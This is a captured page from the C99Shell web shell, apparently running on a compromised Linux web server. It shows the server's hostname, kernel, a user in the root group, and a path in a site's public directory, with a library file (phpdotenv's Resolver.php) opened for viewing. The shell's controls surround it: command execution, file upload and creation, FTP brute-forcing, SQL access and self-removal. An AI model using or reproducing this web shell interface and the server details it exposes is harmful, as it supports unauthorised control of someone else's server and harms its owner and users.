!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/vlucas/phpdotenv/src/Loader/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Resolver.php (1.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Dotenv\Loader;

use 
Dotenv\Parser\Value;
use 
Dotenv\Repository\RepositoryInterface;
use 
Dotenv\Util\Regex;
use 
Dotenv\Util\Str;
use 
PhpOption\Option;

final class 
Resolver
{
    
/**
     * This class is a singleton.
     *
     * @codeCoverageIgnore
     *
     * @return void
     */
    
private function __construct()
    {
        
//
    
}

    
/**
     * Resolve the nested variables in the given value.
     *
     * Replaces ${varname} patterns in the allowed positions in the variable
     * value by an existing environment variable.
     *
     * @param \Dotenv\Repository\RepositoryInterface $repository
     * @param \Dotenv\Parser\Value                   $value
     *
     * @return string
     */
    
public static function resolve(RepositoryInterface $repositoryValue $value)
    {
        return 
\array_reduce($value->getVars(), static function (string $sint $i) use ($repository) {
            return 
Str::substr($s0$i).self::resolveVariable($repositoryStr::substr($s$i));
        }, 
$value->getChars());
    }

    
/**
     * Resolve a single nested variable.
     *
     * @param \Dotenv\Repository\RepositoryInterface $repository
     * @param string                                 $str
     *
     * @return string
     */
    
private static function resolveVariable(RepositoryInterface $repositorystring $str)
    {
        return 
Regex::replaceCallback(
            
'/\A\${([a-zA-Z0-9_.]+)}/',
            static function (array 
$matches) use ($repository) {
                return 
Option::fromValue($repository->get($matches[1]))
                    ->
getOrElse($matches[0]);
            },
            
$str,
            
1
        
)->success()->getOrElse($str);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.035 ]--